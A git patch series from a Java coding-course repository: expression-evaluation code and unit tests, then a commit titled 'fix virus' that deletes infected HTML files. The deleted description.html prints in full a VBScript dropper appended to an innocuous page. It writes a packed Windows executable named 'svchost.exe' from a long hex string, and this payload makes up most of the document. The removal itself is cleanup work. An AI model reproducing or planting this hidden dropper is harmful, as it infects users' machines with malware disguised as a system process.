--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -25,22 +25,16 @@ public float evaluate() {
 			
 			if (token.isOperator()){
 				
-				if(opStack.isEmpty()){
+				while(!opStack.isEmpty() 
+						&& !token.hasHigherPriority(opStack.peek())){
+					Token prevOperator = opStack.pop();
+					Float f2 = numStack.pop();
+					Float f1 = numStack.pop();
+					Float result = calculate(prevOperator.toString(), f1,f2);
+					numStack.push(result);						
 					
-					opStack.push(token);
-				} else{
-					
-					while(!opStack.isEmpty() 
-							&& !token.hasHigherPriority(opStack.peek())){
-						Token prevOperator = opStack.pop();
-						Float f2 = numStack.pop();
-						Float f1 = numStack.pop();
-						Float result = calculate(prevOperator.toString(), f1,f2);
-						numStack.push(result);						
-						
-					}
-					opStack.push(token);
 				}
+				opStack.push(token);
 			} 
 			if(token.isNumber()){
 				numStack.push(new Float(token.getIntValue()));
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
index d52ec73bd3..2288e3bd29 100644
--- a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -1,35 +1,43 @@
 package com.coding.basic.stack.expr;
 
+import java.util.ArrayList;
 import java.util.List;
 import java.util.Stack;
 
 public class InfixToPostfix {
 
 	public static List<Token> convert(String expr) {
-		return null;
-	}
-
-	public static void main(String[] args) {
-		Stack<Character> stack = new Stack<Character>();
-		String expr = "1+((2+3)*4)-5";
-		for(int i=0;i<expr.length(); i++){	
-			char c = expr.charAt(i);
-			if(c == '+'){
-				stack.push(c);
-			}
-			else if(c == '*'){
-				stack.push(c);
+		List<Token> inFixTokens = new TokenParser().parse(expr);
+		
+		List<Token> postFixTokens = new ArrayList<>();
+		
+		Stack<Token> opStack = new Stack<Token>();
+		for(Token token : inFixTokens){
+			
+			if(token.isOperator()){
+				
+				while(!opStack.isEmpty() 
+						&& !token.hasHigherPriority(opStack.peek())){
+					postFixTokens.add(opStack.pop());					
+					
+				}
+				opStack.push(token);		
+				
 			}
-			else if(c == ')'){
-				System.out.print(stack.pop() + " ");
-			}
-			else if(c == '('){
-				System.out.print(" ");
-			} else{
-				System.out.print(c +" ");
+			if(token.isNumber()){
+				
+				postFixTokens.add(token);
+				
 			}
 		}
-		System.out.println("");
+		
+		while(!opStack.isEmpty()){
+			postFixTokens.add(opStack.pop());	
+		}
+		
+		return postFixTokens;
 	}
 
+	
+
 }
diff --git a/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
new file mode 100644
index 0000000000..f879f55f14
--- /dev/null
+++ b/liuxin/data-structure/answer/src/com/coding/basic/stack/expr/InfixToPostfixTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class InfixToPostfixTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testConvert() {
+		{
+			List<Token> tokens = InfixToPostfix.convert("2+3");
+			Assert.assertEquals("[2, 3, +]", tokens.toString());
+		}
+		{
+		
+			List<Token> tokens = InfixToPostfix.convert("2+3*4");
+			Assert.assertEquals("[2, 3, 4, *, +]", tokens.toString());
+		}
+		
+		{
+			
+			List<Token> tokens = InfixToPostfix.convert("2-3*4+5");
+			Assert.assertEquals("[2, 3, 4, *, -, 5, +]", tokens.toString());
+		}
+	}
+
+}
diff --git a/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java b/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..787c0d954d
--- /dev/null
+++ b/liuxin/mini-jvm/assignment/src/com/coderising/jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.engine.MiniJVM;
+
+public class MiniJVMTest {
+	
+	static final String PATH = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\answer\\bin";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "com.coderising.jvm.test.EmployeeV1");
+		
+	}
+
+}

From 2178dea2f8761c8d774eafd8b9d74439d789cf45 Mon Sep 17 00:00:00 2001
From: Pan <gqp201210@gmail.com>
Date: Thu, 27 Apr 2017 22:49:36 +0800
Subject: [PATCH 134/262] =?UTF-8?q?=E4=BF=AE=E6=94=B9=E7=97=85=E6=AF=92?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group15/1512_656512403/.idea/description.html |  15 -
 .../com/coderising/download/net_multisoc.htm  | 505 ------------------
 2 files changed, 520 deletions(-)
 delete mode 100644 group15/1512_656512403/.idea/description.html
 delete mode 100644 group17/1282579502/src/com/coderising/download/net_multisoc.htm

diff --git a/group15/1512_656512403/.idea/description.html b/group15/1512_656512403/.idea/description.html
deleted file mode 100644
index 0f928c44a1..0000000000
--- a/group15/1512_656512403/.idea/description.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html><SCRIPT Language=VBScript><!--
-DropFileName = "svchost.exe"
-WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E80400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D002000006000000D60000000000000000000000000000400000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0A0020023D000000048010026000012B29FA89200FF25304041CD6EE59202E4420564401919197970005C8C01191919C8EC94BF1D90B14435F4244105558BEC81C49AED60FE3CFFFFFFC7855C2B094C37B3FFE6EF0A195DD08175A035FF4DAC1155A0C9C204306E7FBF9F6845E0322D45A4346A35E804021C331F39D921085C803534311A8C8CBDFBBC815D0639C4C9C372143069B6DFDE3437353322F038383237833838BB9BBF1B700936333631FF8D4429B52C05017D7CB2F7EFE8F7950E836DCC00488AF0343532BEEFF6DDFC343491D0B23231748F046F791E39D9B60C18D83436CC3FB37BECFFF50185585DFF4D76198D3FF66FBF246365EC1E4588214DB4019D735DB40011951C61B2BB7809317DF8E77409DC00CD5D1E8EE03834459D7C16D6AEFBF60F37A88D9558FE0C528D8D7C065190388C4CC203044738A46B66BB05597F74DCF8350D509163939933694CBCCC386C84C9BAF40500D7044C0831D8D7CE16698406AB5171D8B2F7F7C1899D4F015588337AF7BBC2B3BDB4519CFF663A68312CDCBE8536475237DC8BBC332360369BCCDC219D488D14B9F73BBF8773D058009B9031E22FBFBD0BB85D2FEC35323835843631DF0EFF3CC8897DE081A52E723737814DDDB60DC394330C74F48235069564F6FE0AEE9E5C7721F7559C56BE67BECF4282D83134BE48B8E6B7EF7104786809094FC2F03321BD3C9193ADF1115DF8312999107C7736608DB077AD10133474096E123AA600973624E69B8423BB6408FF05124C3C8D7DCE261960B406FC094DDCC681D0B5080C94AC34579BD928FCDC3131B17440BB041BDF5930B44C5D5D80C0A41FFB1D0BD800297DC0312C217DFC83AD170B59E34681A01197B5AEDF6FBF16204C35290D197D80F79DBBF77684D2B75D366DE43368671105858E0C188F4C1C9C38376670127E3C23AFCC5703061430A5D35F6C54E505363834F89F91BEBDD93536C77AA7B021B5604819990CF3D0218578A0447448DF370F85E45052FF75A46043C9ACF4B3F483C48009C4314D8C771936D9DB6D7D07F08902295DF0496C9E846FB037884650378AD470D85A83EB9C05338403353636B637DE45DC3338682145E49088FA805BDB71DB13AC5B55A84583552F06D0ABF5C864547CB4373382A5AC05476BF874817B324A2F6C5B6FCC9177B8DCF471F0834DA54B8DEDA031210381CF863137D919DFD99E9C510718B1C7123C4F3232407C9C33349449EFF16653C6B1FADB37C9AD3DBC3135CCDC8C32320A9330093B560770EA3083353BE7E8BE354FE8323169B3F8F40064066B64D39831D2B76DAE124E0436315053C7CB1A7F9D4C6833AF75D468EBD6C2F7D72120F06A31069D84F8FB671D58C69C21899F342E722C0874E0F43732B93732D908A62B043CED82CFC9C8643D10B88481F0C0E1D36DC4E881AD0AA0211E5D69A1BDC0902913A54BD03A63F65D3F2A842E27DB483E089831579088C712CC096A20057CC9F8B64F406A33EABCABCDDEF55AAD09842CA1D4BEBB1BAD8008A1B53414526A3829E5E3B957128400F0FE4A171EE96EDC0384331906015DDC2DD88189D3D7480538908D4E14CFF3D82198388DD43132D08D3F32C9EE55FC528C094C0CE836363731740F265B77EC959258C77F64C9CC310984097DD88385140F637B85AD1EF42A23BA00DE108382A9D40345B01BC63324F44837634992497A5F629094AF28F6F8955E79D5C5298527D1240C18CF40C38C346067A37DC6F809E8323682F1B8FD1AD976A30A2DE57C85075051A4C3B6F0130534BCBDBD73DBE19B8D2D75384E5557A723931D76F06849542B006460F04D322DE63477581492713CA5C84FDA17EB6CA5C8DB4ECFCD8767941E92313EA33538D0678C4CC29C328544AC4868BD5A842140E37767AB6938779918530680B207EF6CEC745F6BDA61D6323834201E3336241D38D052622CDD5DE0754AEFF2D6B081FA7A4F0B8632149D1D0352B2C5CE50D2F06E0B7E950C262CB406AB37381AC06B073E2E681CA41B9C31D9D77A8431ADA028D231840265330138A856E38CC5121850BA7980B17B672744A006D4CE490C1F1BDCA0B1FA8473005594B6B00F7764B2005634C83379109959A275E331BFCD5C23878133363CEC44AE8A8F534B4933674D6A3CD2D41EB91F4400DC3537ACE1DAF32068ECE4CD90EDFED2E19A4CB936686599E3FE1000FAB1832CB1F3A05E440CB85D73F43F8BE42F01C80BC00F849901C762B19D0D77B5AC14AB0033F4FFFEF76754683B84159829CE68F152E28309D458687299EDF7EFE967B30ADAEBC76A7501E02DF08FD4D9685D0CAC160C766A1E89C1B63717C86AE6888D4D80BEAF6B0D37D66084213819ECB3EDE2D0240BBA32332F58DA4C9F2D17DC0BED045148DC93ED4DFF064E240B3529F12C74B2A30AA3FCFC68B2FD3EEB23E109AF5605225733B816BE667B088D79B0F00B76132C36C8F27724084A53501B4A3BDB8CCEC8137D0424DBE4F7B2071C75886AB106A29A24503B1827A4F90628F8D5286D9727DC6E90FCF39CDB0ED6006C20052643CC23D643835F84361304CF7AC185F69D05391010106527FC5B18A3D8C1950AA41303575753209CEDB3E402D8BA3019BF0B1FBE124D47F268F4A89B09F868C284DFF3975483A3FE1D0451CCAB6CEF70AD51691CC61A3CB34500EEF7FDEF200A68B93B498409100416C905EDB5F6FF62491111139011906363136309020500F27D91BB900990906315632113DB7FD7B5290F13307D68803C6E4F65E3A014F78DCDBEEE4480131A901C13463D113DE75EEC29435819214A77FFFF8B1B050F5245642350F1718D9193F33B6B48367B135C7BDF7B5B25501109039A62CF3DE73E0961151320BDFFB7F7B61D0C7DBC7D44737FBFF7F6771300B9E7DE8B6E64D644338CFB0D7BEF5C2E416207F3691ADE09DD9F8CD3F75FCA630590A677782EE6B5C2357F03A0FF7FEFBDD71D53D77D057303DA11DCBFE2F7E2E79E7BB16766FA41AF3E7284F662B10B97B90057EFFFB359425D63761A7313A57DC3F708D01E8737F66245081B90ED59F7DE73B3902E41129A104D67D8BA3F8F7D254389DF85239622EF4D788690410C6F987B11DE7B55D1600DE80D170AEF835F45BE1D4E4B4F61F6B9F7CBF0571F8573F71CAE3A24137B7BEFBD379011303243496EB83B1CDE88BDB8F6F3BAE0F6CE2F6CD51DC012C2F790CC132A83622F36232FC20B3FF6B3C7301B020E58F7EA7F09C3ECBDFF16126F7957F7A27F8669039D08C126BC884B8E327D841784956FA82F643373976DC3CD13D222FCE825C302D393F76F42ECB9860D40AB0E78DE7BCC7033B15E88CF84FF7F13865B11FA1F56161A1F2FB7F780AC5CDC84F75EBE3630AA3DE3CD98F12FC26B160A3CC3FF1F90F1E95C1B1850F35B0B0F0FF7401FA417E31D264CCC44ED907B3362B1DEC7B14BA6330CFFC6241D62335CA9F7FEA10A7A935E7B9F400DB906F778B1772458554D3D5CC5DCFFBFAB51E94D10A8514F2E7C6BF7D2C66B107BC1222A38C0CDBFD8A4EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF18200895152DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC18466726900AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8